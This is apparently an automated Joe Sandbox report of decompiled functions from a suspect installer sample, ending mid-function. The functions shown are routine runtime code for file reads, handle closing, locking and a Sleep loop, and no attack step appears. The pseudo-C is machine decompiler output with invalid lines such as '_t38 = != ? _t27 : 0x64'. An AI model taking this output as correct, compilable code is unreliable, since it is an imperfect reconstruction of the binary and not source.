Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _memmove
String ID: string too long
API String ID: 4104443479-2556327735
Opcode ID: 642f3c2d5443f322148b003f64a9fdef8403f1d61b0642f07641c991a21eda69
Instruction ID: a44fdd261a0c92c334fda3bc412f3aa23a219b657ebbdde4d7bc60495f352fda
Opcode Fuzzy Hash: 642f3c2d5443f322148b003f64a9fdef8403f1d61b0642f07641c991a21eda69
Instruction Fuzzy Hash: 173123333206108BE7319B5CA880F6EF7EAEFA1720B30892FF591C7641C7629D4087A4

Uniqueness

Uniqueness Score: -1.00%

Function 000C28A0, Relevance: 3.2, APIs: 2, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000C28A0(void* __ecx, void* __edx) {
				signed int _v8;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v312;
				intOrPtr* _v316;
				intOrPtr _v324;
				char _v616;
				char _v620;
				intOrPtr _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				intOrPtr* _t43;
				intOrPtr _t45;
				intOrPtr _t54;
				intOrPtr _t61;
				intOrPtr _t63;
				intOrPtr* _t65;
				intOrPtr* _t75;
				intOrPtr* _t76;
				intOrPtr* _t77;
				signed int _t78;
				void* _t79;
				void* _t81;

				_t74 = __edx;
				_t41 =  *0xef6ac; // 0xcff43140
				_v8 = _t41 ^ _t78;
				_t43 = E000C7DB0(__ecx); // executed
				_t65 = 0;
				_t77 = _t43;
				_t81 = _t79 - 8 + 8;
				_v316 = 0;
				_v312 = 0;
				_v20 = 0;
				if(_t77 != 0) {
					if( *_t77 == 1) {
						_t75 =  *((intOrPtr*)(_t77 + 4));
						_t67 =  *_t75;
						if( *((intOrPtr*)( *_t75 + 4)) > 0xffffffff) {
							if( *((intOrPtr*)(_t75 + 4)) != 0xffffffff) {
								E000C7140(_t67, __edx);
							}
							 *((intOrPtr*)(_t75 + 4)) = 0xffffffff;
							_t65 =  *((intOrPtr*)( *_t75 + 4));
							_v316 = _t65;
							_v312 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v40 = 0;
							_v36 = 0;
							_v32 = 0;
							_v28 = 0;
							_v24 = 0;
							_v20 = 0;
							_t45 = 0;
						} else {
							_t45 = 0x10000;
						}
						 *0xf1b24 = _t45;
					} else {
						 *0xf1b24 = 0x80000;
					}
				} else {
					 *0xf1b24 = 0x10000;
				}
				_t76 = 0;
				if(_t65 <= 0) {
					L21:
					if(_t77 != 0) {
						if( *_t77 == 1) {
							_t76 =  *((intOrPtr*)(_t77 + 4));
							if( *((intOrPtr*)(_t76 + 4)) != 0xffffffff) {
								E000C7140( *_t76, _t74);
							}
							_t65 =  *_t76;
							 *((intOrPtr*)(_t76 + 4)) = 0xffffffff;
							if(_t65 != 0) {
								if( *((intOrPtr*)(_t65 + 0x7c)) != 0) {
									E000C7140(_t65, _t74);
								}
								_t54 =  *_t65;
								_v624 = _t54;
								if(_t54 != 0) {
									if( *((char*)(_t54 + 0x10)) != 0) {
										CloseHandle( *(_t54 + 4));
										_t54 = _v624;
									}
									L000CC7D6(_t54);
									_t81 = _t81 + 4;
								}
								E000CD081(_t65);
								_t81 = _t81 + 4;
							}
							 *_t76 = 0;
							_t46 =  *((intOrPtr*)(_t76 + 0x138));
							 *0xf1b24 = 0;
							if( *((intOrPtr*)(_t76 + 0x138)) != 0) {
								L000CC7D6(_t46);
								_t81 = _t81 + 4;
							}
							_t47 =  *((intOrPtr*)(_t76 + 0x13c));
							 *((intOrPtr*)(_t76 + 0x138)) = 0;
							if( *((intOrPtr*)(_t76 + 0x13c)) != 0) {
								L000CC7D6(_t47); // executed
								_t81 = _t81 + 4;
							}
							 *((intOrPtr*)(_t76 + 0x13c)) = 0;
							L000CC7D6(_t76);
							L000CC7D6(_t77);
						} else {
							 *0xf1b24 = 0x80000;
						}
					} else {
						 *0xf1b24 = 0x10000;
					}
					return E000CC7C7(_t65, _v8 ^ _t78, _t74, _t76, _t77);
				}
				do {
					_v620 = 0;
					_v616 = 0;
					_v324 = 0;
					if(_t77 == 0) {
						 *0xf1b24 = 0x10000;
					} else {
						if( *_t77 == 1) {
							_t61 = E000C7270( *((intOrPtr*)(_t77 + 4)), _t74, _t76,  &_v620); // executed
							 *0xf1b24 = _t61;
						} else {
							 *0xf1b24 = 0x80000;
						}
						if( *_t77 == 1) {
							_t81 = _t81 - 8;
							_push( &_v616);
							_push(_t76); // executed
							_t63 = E000C7A80(_t65,  *((intOrPtr*)(_t77 + 4)), _t74); // executed
							 *0xf1b24 = _t63;
						} else {
							 *0xf1b24 = 0x80000;
						}
					}
					_t76 = _t76 + 1;
				} while (_t76 < _t65);
				goto L21;
			}

0x000c28a0
0x000c28a9
0x000c28b0
0x000c28b9
0x000c28be
0x000c28c0
0x000c28c2
0x000c28c5
0x000c28cb
0x000c28d1
0x000c28d6
0x000c28ea
0x000c28f8
0x000c28fb
0x000c2901
0x000c290e
0x000c2910
0x000c2910
0x000c2917
0x000c291e
0x000c2921
0x000c2927
0x000c292e
0x000c2935
0x000c293c
0x000c2943
0x000c294a
0x000c2951
0x000c2958
0x000c295f
0x000c2966
0x000c296d
0x000c2903
0x000c2903
0x000c2903
0x000c296f
0x000c28ec
0x000c28ec
0x000c28ec
0x000c28d8
0x000c28d8
0x000c28d8
0x000c2974
0x000c2978
0x000c29ff
0x000c2a01
0x000c2a15
0x000c2a26
0x000c2a2d
0x000c2a31
0x000c2a31
0x000c2a36
0x000c2a38
0x000c2a41
0x000c2a47
0x000c2a4b
0x000c2a4b
0x000c2a50
0x000c2a52
0x000c2a5a
0x000c2a60
0x000c2a65
0x000c2a6b
0x000c2a6b
0x000c2a72
0x000c2a77
0x000c2a77
0x000c2a7b
0x000c2a80
0x000c2a80
0x000c2a83
0x000c2a89
0x000c2a8f
0x000c2a9b
0x000c2a9e
0x000c2aa3
0x000c2aa3
0x000c2aa6
0x000c2aac
0x000c2ab8
0x000c2abb
0x000c2ac0
0x000c2ac0
0x000c2ac4
0x000c2ace
0x000c2ad7
0x000c2a17
0x000c2a17
0x000c2a17
0x000c2a03
0x000c2a03
0x000c2a03
0x000c2af4
0x000c2af4
0x000c2980
0x000c2980
0x000c298a
0x000c2991
0x000c299d
0x000c29f0
0x000c299f
0x000c29a2
0x000c29bb
0x000c29c0
0x000c29a4
0x000c29a4
0x000c29a4
0x000c29c8
0x000c29d9
0x000c29e2
0x000c29e3
0x000c29e4
0x000c29e9
0x000c29ca
0x000c29ca
0x000c29ca
0x000c29c8
0x000c29fa
0x000c29fb
0x00000000

APIs

CloseHandle.KERNEL32(?), ref: 000C2A65
_free.LIBCMT ref: 000C2A7B

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CloseHandle_free
String ID:
API String ID: 3521661170-0
Opcode ID: 617067ef3146b4e9b83b39f525fe32f4ec50962c9bd38e697c689a3af64b49a9
Instruction ID: 88ef179f046da2d8430bf3194fc1b20a33c8e96e58981e41c9ec14f26416bb8e
Opcode Fuzzy Hash: 617067ef3146b4e9b83b39f525fe32f4ec50962c9bd38e697c689a3af64b49a9
Instruction Fuzzy Hash: DE51AEB0801345CBEB21DF68C948BEEBBF0FB04314F14026DD45957A91EB799988CF92

Uniqueness

Uniqueness Score: -1.00%

Function 000C6130, Relevance: 3.1, APIs: 2, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E000C6130(char* __ecx, long __edx) {
				signed int _v8;
				void _v9;
				long _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				signed int* _t35;
				intOrPtr _t36;
				intOrPtr _t38;
				char* _t46;
				signed int _t47;

				_t43 = __edx;
				_t20 =  *0xef6ac; // 0xcff43140
				_v8 = _t20 ^ _t47;
				_t46 = __ecx;
				_t35 = __edx;
				_v16 = __edx;
				_t44 = 1;
				if( *__ecx == 0) {
					_t36 =  *((intOrPtr*)(__ecx + 0x1c));
					_t38 =  *((intOrPtr*)(__ecx + 0x18));
					if(_t36 + 1 > _t38) {
						_t44 = _t38 - _t36;
					}
					E000CE520( &_v9,  *((intOrPtr*)(_t46 + 0x14)) + _t36, _t44);
					_t27 = _t36 + _t44;
					_t35 = _v16;
					 *(_t46 + 0x1c) = _t36 + _t44;
				} else {
					_t27 = ReadFile( *(__ecx + 4),  &_v9, 1,  &_v16, 0); // executed
					if(_t27 == 0) {
						 *((char*)(_t46 + 8)) = 1;
					}
					_t44 = _v16;
				}
				if(_t44 != 1) {
					if( *_t46 == 0 ||  *((char*)(_t46 + 8)) == 0) {
						goto L9;
					} else {
						return E000CC7C7(_t35, _v8 ^ _t47, _t43, _t44, _t46);
					}
				} else {
					 *_t35 = _v9 & 0x000000ff;
					L9:
					return E000CC7C7(_t35, _v8 ^ _t47, _t43, _t44, _t46);
				}
			}

0x000c6130
0x000c6136
0x000c613d
0x000c6142
0x000c6144
0x000c614a
0x000c614d
0x000c6152
0x000c6175
0x000c6178
0x000c6180
0x000c6184
0x000c6184
0x000c6191
0x000c6196
0x000c6199
0x000c619f
0x000c6154
0x000c6162
0x000c616a
0x000c616c
0x000c616c
0x000c6170
0x000c6170
0x000c61a5
0x000c61c3
0x00000000
0x000c61cb
0x000c61de
0x000c61de
0x000c61a7
0x000c61ab
0x000c61af
0x000c61bf
0x000c61bf

APIs

ReadFile.KERNELBASE(?,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000140,00000000,00000000), ref: 000C6162
_memmove.LIBCMT ref: 000C6191

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: FileRead_memmove
String ID:
API String ID: 1325644223-0
Opcode ID: f4f4ae2545e404fe9b96bced0f948f82721a3ea0696c7dee1013f149223b61c1
Instruction ID: d22ed46b2263cd65e751dd9cb222aea546e4e5fbbf868467ca0a333b3e0c0cd2
Opcode Fuzzy Hash: f4f4ae2545e404fe9b96bced0f948f82721a3ea0696c7dee1013f149223b61c1
Instruction Fuzzy Hash: 44219271A04248AFDB20CFA9D881FAEB7F9EB44311F1845BED855D7282D672A948CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000D65C3, Relevance: 3.1, APIs: 2, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E000D65C3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t17;
				signed int _t19;
				signed int _t29;
				signed int _t33;
				signed int _t40;
				signed int _t41;
				signed int _t43;
				void* _t44;

				_push(0x10);
				_push(0xed548);
				E000D3B00(__ebx, __edi, __esi);
				_t43 =  *(_t44 + 8);
				_t46 = _t43 - 0xfffffffe;
				if(_t43 != 0xfffffffe) {
					__eflags = _t43;
					if(__eflags < 0) {
						L9:
						_t17 = E000D122D(__eflags);
						 *_t17 =  *_t17 & 0x00000000;
						__eflags =  *_t17;
						 *((intOrPtr*)(E000D1261( *_t17))) = 9;
						_t19 = E000D3462();
						goto L10;
					} else {
						__eflags = _t43 -  *0xf1bf8; // 0x20
						if(__eflags >= 0) {
							goto L9;
						} else {
							_t33 = _t43 >> 5;
							_t40 = (_t43 & 0x0000001f) << 6;
							__eflags =  *( *((intOrPtr*)(0xf1760 + _t33 * 4)) + _t40 + 4) & 0x00000001;
							if(__eflags == 0) {
								goto L9;
							} else {
								_push(_t43);
								E000DDBB2(_t33, __edx, _t40, _t43, __eflags);
								 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
								__eflags =  *( *((intOrPtr*)(0xf1760 + _t33 * 4)) + _t40 + 4) & 0x00000001;
								if(__eflags == 0) {
									 *((intOrPtr*)(E000D1261(__eflags))) = 9;
									_t41 = _t40 | 0xffffffff;
									__eflags = _t41;
								} else {
									_t29 = E000D668D(__eflags, _t43); // executed
									_t41 = _t29;
								}
								 *(_t44 - 0x1c) = _t41;
								 *(_t44 - 4) = 0xfffffffe;
								E000D6664(_t43);
								_t20 = _t41;
							}
						}
					}
				} else {
					 *(E000D122D(_t46)) =  *_t30 & 0x00000000;
					_t19 = E000D1261(_t46);
					 *_t19 = 9;
					L10:
					_t20 = _t19 | 0xffffffff;
				}
				return E000D3B45(_t20);
			}

0x000d65c3
0x000d65c5
0x000d65ca
0x000d65cf
0x000d65d2
0x000d65d5
0x000d65ef
0x000d65f1
0x000d666c
0x000d666c
0x000d6671
0x000d6671
0x000d6679
0x000d667f
0x00000000
0x000d65f3
0x000d65f3
0x000d65f9
0x00000000
0x000d65fb
0x000d65fd
0x000d6605
0x000d6614
0x000d6617
0x00000000
0x000d6619
0x000d6619
0x000d661a
0x000d6620
0x000d662b
0x000d6630
0x000d6642
0x000d6648
0x000d6648
0x000d6632
0x000d6633
0x000d6639
0x000d6639
0x000d664b
0x000d664e
0x000d6655
0x000d665a
0x000d665a
0x000d6617
0x000d65f9
0x000d65d7
0x000d65dc
0x000d65df
0x000d65e4
0x000d6684
0x000d6684
0x000d6684
0x000d668c

APIs

___lock_fhandle.LIBCMT ref: 000D661A
__close_nolock.LIBCMT ref: 000D6633

Part of subcall function 000D122D: __getptd_noexit.LIBCMT ref: 000D122D

Part of subcall function 000D1261: __getptd_noexit.LIBCMT ref: 000D1261

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: 7fd2ea75b523f9d43538021f8af6c9139828ddc4a6369e1f160ad21df854d02f
Instruction ID: 92733f7ee0202564750c48ae37ede82fcbf6973e0c4003d3b96456c7b9f1bf7d
Opcode Fuzzy Hash: 7fd2ea75b523f9d43538021f8af6c9139828ddc4a6369e1f160ad21df854d02f
Instruction Fuzzy Hash: D91170B2405B549AD7117FA8D8427EC7AA09F51731F160383E8305B3E3CBBA99409A75

Uniqueness

Uniqueness Score: -1.00%

Function 000C87C0, Relevance: 3.1, APIs: 2, Instructions: 51
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C87C0(intOrPtr _a4) {
				intOrPtr _t27;
				intOrPtr _t35;
				RECT* _t39;
				intOrPtr _t40;
				intOrPtr _t41;

				_t41 = _a4;
				_t40 =  *((intOrPtr*)(_t41 + 0x10));
				 *(_t41 + 0x1c) = 1;
				while(1) {
					_t35 =  *((intOrPtr*)(_t40 + 8));
					if(_t35 == 0 || (0 |  *(_t41 + 0x18) - _t35 < 0x00000000) != 0) {
						goto L3;
					} else {
						break;
					}
					while(1) {
						L3:
						InvalidateRect( *(_t41 + 0xc), 0, 0);
						_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t40 + 0xc)) +  *(_t41 + 0x14) * 4)) + 0x24));
						_t38 =  !=  ? _t27 : 0x64;
						Sleep( !=  ? _t27 : 0x64); // executed
						_t39 =  *(_t41 + 0x14);
						if(_t39 >=  *((intOrPtr*)(_t40 + 0x10)) - 1) {
							break;
						}
						 *(_t41 + 0x14) =  &(_t39->left);
					}
					 *(_t41 + 0x18) =  &( *(_t41 + 0x18)->left);
					 *(_t41 + 0x14) = 0;
				}
				 *(_t41 + 0x18) = 0;
				 *(_t41 + 0x14) = 0;
				 *(_t41 + 0x1c) = 0;
				return 0;
			}

0x000c87cb
0x000c87cf
0x000c87d2
0x000c87e0
0x000c87e0
0x000c87e5
0x00000000
0x00000000
0x00000000
0x00000000
0x000c87f3
0x000c87f3
0x000c87fa
0x000c880a
0x000c880f
0x000c8813
0x000c881c
0x000c8822
0x00000000
0x00000000
0x000c8827
0x000c8827
0x000c882c
0x000c882f
0x000c882f
0x000c8839
0x000c8840
0x000c8847
0x000c8853

APIs

InvalidateRect.USER32(?,00000000,00000000), ref: 000C87FA
Sleep.KERNELBASE(00000064), ref: 000C8813

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: InvalidateRectSleep
String ID:
API String ID: 609624479-0
Opcode ID: 403d96ec9bd08099f1abcb62805902078acb795abe294103ea218a018597c862
Instruction ID: 71e5d324f633c415afe90cff905adbb23521e5933c91511ff0c41b100c0eb7bb
Opcode Fuzzy Hash: 403d96ec9bd08099f1abcb62805902078acb795abe294103ea218a018597c862
Instruction Fuzzy Hash: C1113374204B009FE734CF26D894B2AB7F4FF18700F104A2DDA4687A90DB71F9488BA4

Uniqueness

Uniqueness Score: -1.00%

Function 000C7140, Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C7140(void* __ecx, void* __edx) {
				void* _t19;
				void* _t24;
				intOrPtr* _t26;
				void* _t29;

				_t19 = __ecx;
				_t24 = 0;
				if(__ecx != 0) {
					_t26 =  *((intOrPtr*)(__ecx + 0x7c));
					if(_t26 != 0) {
						if( *((intOrPtr*)(_t26 + 0x5c)) == 0) {
							_t24 =  !=  ? 0xffffff97 : 0;
						}
						_t11 =  *_t26;
						if( *_t26 != 0) {
							E000CD081(_t11);
							_t29 = _t29 + 4;
							 *_t26 = 0;
						}
						 *_t26 = 0;
						if( *((intOrPtr*)(_t26 + 0x40)) != 0) {
							_t8 = _t26 + 4; // 0x4
							E000C5B50(_t8);
						}
						 *((intOrPtr*)(_t26 + 0x40)) = 0;
						E000CD081(_t26); // executed
						 *((intOrPtr*)(_t19 + 0x7c)) = 0;
						return _t24;
					} else {
						_t3 = _t26 - 0x66; // -102
						return _t3;
					}
				} else {
					return __ecx - 0x66;
				}
			}

0x000c7142
0x000c7144
0x000c7148
0x000c7151
0x000c7156
0x000c7162
0x000c716f
0x000c716f
0x000c7172
0x000c7176
0x000c7179
0x000c717e
0x000c7181
0x000c7181
0x000c718b
0x000c7191
0x000c7193
0x000c7196
0x000c7196
0x000c719c
0x000c71a3
0x000c71af
0x000c71b7
0x000c7158
0x000c7158
0x000c715e
0x000c715e
0x000c714b
0x000c714f
0x000c714f

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d50eca2259a46e3ab1920d7d240a0e3a0f75d1855b3d93061bf7989813f288f
Instruction ID: 9b5e340bab81b07b5ac75ee54fbc1780e3eec251a28ea21e48b713af8a03439e
Opcode Fuzzy Hash: 6d50eca2259a46e3ab1920d7d240a0e3a0f75d1855b3d93061bf7989813f288f
Instruction Fuzzy Hash: F9018BB26006008BDB74CF6DD880F8AB3E8AF84355F14043EE98687292E7B1E849CF51

Uniqueness

Uniqueness Score: -1.00%

Function 000CE323, Relevance: 3.0, APIs: 2, Instructions: 33
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E000CE323(void* __ebx, signed int __edi, void* __esi, void* __eflags) {
				signed int _t18;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;

				_push(0xc);
				_push(0xed198);
				E000D3B00(__ebx, __edi, __esi);
				_t28 = __edi | 0xffffffff;
				 *(_t31 - 0x1c) = __edi | 0xffffffff;
				_t30 =  *((intOrPtr*)(_t31 + 8));
				_t33 = _t30;
				_t34 = _t33 != 0;
				if(_t33 != 0) {
					__eflags =  *(_t30 + 0xc) & 0x00000040;
					if(( *(_t30 + 0xc) & 0x00000040) == 0) {
						E000CDB59(_t30);
						 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
						_t18 = E000CE2B7(__ebx, _t30); // executed
						_t28 = _t18;
						 *(_t31 - 0x1c) = _t18;
						 *(_t31 - 4) = 0xfffffffe;
						E000CE392(_t30);
					} else {
						 *(_t30 + 0xc) =  *(_t30 + 0xc) & 0x00000000;
					}
				} else {
					 *((intOrPtr*)(E000D1261(_t34))) = 0x16;
					E000D3462();
				}
				return E000D3B45(_t28);
			}

0x000ce323
0x000ce325
0x000ce32a
0x000ce32f
0x000ce332
0x000ce337
0x000ce33a
0x000ce33f
0x000ce341
0x000ce35b
0x000ce35f
0x000ce368
0x000ce36e
0x000ce373
0x000ce379
0x000ce37b
0x000ce37e
0x000ce385
0x000ce361
0x000ce361
0x000ce361
0x000ce343
0x000ce348
0x000ce34e
0x000ce34e
0x000ce35a

APIs

Part of subcall function 000D1261: __getptd_noexit.LIBCMT ref: 000D1261

__lock_file.LIBCMT ref: 000CE368

Part of subcall function 000CDB59: __lock.LIBCMT ref: 000CDB7C

__fclose_nolock.LIBCMT ref: 000CE373

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: ef4b0e694e3397fd7db734934a5808f41f14fbacb32b7070a0af6ca4871a75bc
Instruction ID: 38cdbdef265413b30f46e118c30ae9a2f87ac47739c7174c5f49a98ac81258b1
Opcode Fuzzy Hash: ef4b0e694e3397fd7db734934a5808f41f14fbacb32b7070a0af6ca4871a75bc
Instruction Fuzzy Hash: 95F0BB31801784DAD7106B75D806FDE67D06F41734F15810EA564AF2C3C77C6B019B66

Uniqueness

Uniqueness Score: -1.00%

Function 000DF37E, Relevance: 3.0, APIs: 2, Instructions: 32
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 51%

			E000DF37E(void* __ebx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				void* __esi;
				signed int _t14;
				void* _t15;
				void* _t23;

				_v8 = _v8 & 0x00000000;
				_t14 = E000D3727(_a12,  &_v8);
				if(_t14 != 0) {
					_push(_t23);
					_push(_a28);
					_push(_a24);
					_t15 = E000DF77A(__ebx, _t23, _a4, _a8, _v8, _a16, _a20); // executed
					E000CD081(_v8);
					return _t15;
				} else {
					return _t14 | 0xffffffff;
				}
			}

0x000df382
0x000df38d
0x000df396
0x000df39d
0x000df39e
0x000df3a1
0x000df3b3
0x000df3bd
0x000df3c9
0x000df398
0x000df39c
0x000df39c

APIs

___copy_path_to_wide_string.LIBCMT ref: 000DF38D
_free.LIBCMT ref: 000DF3BD

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: ___copy_path_to_wide_string_free
String ID:
API String ID: 339592613-0
Opcode ID: 039827a630eeb5bb042472c649027720bd858430a795a4b8b6e7b462c2a92f30
Instruction ID: 798d4b74b6abe96577a07457a84b0baf5c219e49b0b73846bb85217c63e73a26
Opcode Fuzzy Hash: 039827a630eeb5bb042472c649027720bd858430a795a4b8b6e7b462c2a92f30
Instruction Fuzzy Hash: 1FF08232800109BBDF015F94DC02DDE7B69EF043A5F104151F911911A1E772CA20BB91

Uniqueness

Uniqueness Score: -1.00%

Function 000D5F21, Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E000D5F21(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t13;
				signed int _t15;
				signed int _t27;
				void* _t30;
				intOrPtr _t32;

				_t23 = __edx;
				_push(0x10);
				_push(0xed4e8);
				E000D3B00(__ebx, __edi, __esi);
				_t29 =  *((intOrPtr*)(_t30 + 8));
				_t32 =  *((intOrPtr*)(_t30 + 8));
				_t33 = _t32 != 0;
				if(_t32 != 0) {
					E000CDB59(_t29);
					_t4 = _t30 - 4;
					 *_t4 =  *(_t30 - 4) & 0x00000000;
					__eflags =  *_t4;
					_t13 = E000D5F95(__edx, _t29); // executed
					_t27 = _t13;
					 *(_t30 - 0x20) = _t27;
					 *(_t30 - 0x1c) = _t23;
					 *(_t30 - 4) = 0xfffffffe;
					E000D5F8D(_t29);
					_t15 = _t27;
				} else {
					 *((intOrPtr*)(E000D1261(_t33))) = 0x16;
					E000D3462();
					_t15 = __edx | 0xffffffff;
				}
				return E000D3B45(_t15);
			}

0x000d5f21
0x000d5f21
0x000d5f23
0x000d5f28
0x000d5f2f
0x000d5f32
0x000d5f37
0x000d5f39
0x000d5f53
0x000d5f59
0x000d5f59
0x000d5f59
0x000d5f5e
0x000d5f64
0x000d5f66
0x000d5f6b
0x000d5f6e
0x000d5f75
0x000d5f7a
0x000d5f3b
0x000d5f40
0x000d5f46
0x000d5f4e
0x000d5f4e
0x000d5f83

APIs

__lock_file.LIBCMT ref: 000D5F53
__ftelli64_nolock.LIBCMT ref: 000D5F5E

Part of subcall function 000D1261: __getptd_noexit.LIBCMT ref: 000D1261

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __ftelli64_nolock__getptd_noexit__lock_file
String ID:
API String ID: 1386960506-0
Opcode ID: e2a3f7d8812ebaa47c7703cfa6216cb5a0b5a477ddf0ff222b1bced476a3b554
Instruction ID: 4df215ce4f16c6be2ae74b0fc191aba931fe0b5c95a5711980cd28eab7e0c6d5
Opcode Fuzzy Hash: e2a3f7d8812ebaa47c7703cfa6216cb5a0b5a477ddf0ff222b1bced476a3b554
Instruction Fuzzy Hash: 2DF08271A01B04AACB10AFB95C037CDA6A26F85331F25422BB814EF3C3DB789A015675

Uniqueness

Uniqueness Score: -1.00%

Function 000C66B0, Relevance: 1.9, APIs: 1, Instructions: 352
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C66B0(void*** __ecx, void* __edx, void* _a4, void* _a8, void* _a12) {
				signed int _v12;
				signed int _v16;
				void* _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v52;
